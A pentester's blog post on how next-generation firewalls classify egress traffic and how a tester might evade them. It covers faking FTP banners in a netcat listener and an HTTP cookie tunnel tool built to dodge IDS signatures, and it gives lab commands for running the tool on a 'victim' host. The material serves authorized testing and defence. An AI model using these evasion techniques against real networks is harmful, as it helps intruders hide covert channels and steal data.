Next generation firewalls have been the buzz for a few years now, but only on some of my more recent field experiences have I encountered organizations doing what I really like to see being done with them. Next generation firewalls are really all about one thing in my opinion: real honest egress monitoring and they work at least well enough to slow things down. This is important with good event monitoring in place; they provide you a very real possibility of spotting an attack before all your intellectual property is uploaded to a virtual host in some country you can’t locate on the map. For those of you that may not be familiar with the term “next generation firewall”, these are devices that include the usual layer-three capabilities in the firewalls we have in use for decades. They also offer some real time inspection of application protocol content. The firewall administrator does not just write a rule that says “tcp port 80 is allowed to the outside” but can write a rule that says “HTTP is allowed on port 80 to the outside”. The higher end devices will take things even a step beyond, so a rule like “HTTP is allowed on port 80 to the outside when the host header contains the pattern ‘.*\.google.com$’”. We are all familiar with HTTP, and naturally these devices usually support large numbers of other protocols binary and text alike such as SMTP, SSH, RDP, or ICA. This becomes important as pentesters because it can play havoc with our usual near term objective of obtaining that oh so sexy reverse shell! Maybe you have been on a test, sent your shell code and have a connect back with tempting prompt only to have the connection die before you can get the output of ‘dir’ or ‘ls’. You send your payload a second time, boom new shell, but it dies as quickly as the first. This is almost certainly one of these fancy firewalls ruining your afternoon! They all need to allow a few packets to flow at first so they have enough data to “classify” the application, hence the described behavior. If you are on tcp/80, then you’d better be wearing HTTP clothing or you will be asked to leave and likely not even politely with FIN or RST. Luckily when I was last faced with this problem I didn’t need to interact for very long with my shell. The client had FTP on port 21 allowed outside; it was enough to manually paste some FTP like ‘200 and 331 responses’ into my netcat listener. I could fool the thing long enough to enter a command or two and see the response. If you are using an exploit from the Metasploit framework, you can use the HTTP and HTTPS Meterpreter transports; although the test device in my lab flags these, so signatures exist. There have been attacks in the past that amount to cache poisoning. The trouble with these are if they don’t work you will get firewall denies. Most of them make a large number of connections to do that, the sort of thing which might get noticed. I wanted to see if I could do better. I wanted to ride an existing protocol with arbitrary data; HTTP would be good to make it look like just a lot of browsing. The first thing I did was go to Google, where I came across this, http://www.isi.edu/in-notes/rfc3093.txt, apparently a joke from years ago. I ran with the concept anyway on a test device I had in our lab, thinking tcp would be fun. I actually went with Ethernet over HTTP J. It took few iterations before settling on cookies as the best transport. Initial attempts to use the URLs triggered botnet detection alerts. I ended up adding some URL randomization to the script using English words to prevent this, requesting the same URL over and over hit IDS signatures too. The Meterpreter implementation contains some predictable strings in POST requests that got detected. Cookies I suspect will be more robust against signature development because legitimate ones so frequently contain encoded content. I also send some real HTML tags in the responses to my requests again to resist regex based signature matching. Some obvious things to do are: remove the fixed strings that I used, “tickle” for example, and build some simple shells rather than VPN to make “clients” in perl, bash, and C that will be more portable than ruby. Otherwise, just go with it as is if all you want to do is play nethack at the office. If you want to take it for a quick test drive: On the server: root@kali1:/opt/http_tap# ./http_tap.rb s 172.16.235.232 80 & f[1] 6292 The selected tap adapter is tap0. root@kali1:/opt/http_tap# ifconfig tap0 192.168.21.1 On the client(victim): root@kali2:/opt/http_tap# ./http_tap.rb c 172.16.235.232 80 & [1] 5254 The selected tap adapter is tap0. root@kali2:/opt/http_tap# ifconfig tap0 192.168.21.2 root@kali2:/opt/http_tap# ssh 192.168.21.1' Download: http_cookie_tap.tar.gz This article was written by Geoff Walton of TrustedSec